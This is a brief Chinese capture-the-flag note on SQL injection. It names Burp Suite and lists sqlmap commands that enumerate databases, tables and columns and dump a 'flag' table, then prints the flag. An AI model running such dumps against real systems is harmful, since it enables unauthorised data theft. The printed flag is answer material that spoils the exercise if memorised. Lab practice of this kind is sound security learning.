burusuite使用
burpsuite也是一款强大的漏扫工具,通过爬取接口进行扫描发现 接口是否存在安全隐患,具体使用教程就不说了,看个人习惯
sqlmap使用
保存txt文件执行
python sqlmap.py -l C:\Users\cheng\Desktop\1.txt --batch -dbs
python sqlmap.py -r D:/bc1.txt --batch -D "ctf" --tables
python sqlmap.py -r D:/bc1.txt --batch -D "ctf" -T "flag" --columns
执行--batch -D "ctf" -T "flag" -C "flag" --dump
flag{e5fb9a56-bfce-48cb-a816-77599da3b03a}
SQL注入寻找接口,寻找参数, 寻找注入点, 进行sql盲注 ,查看响应结果值, 工具可以使用sqlmap bp进行测试验证
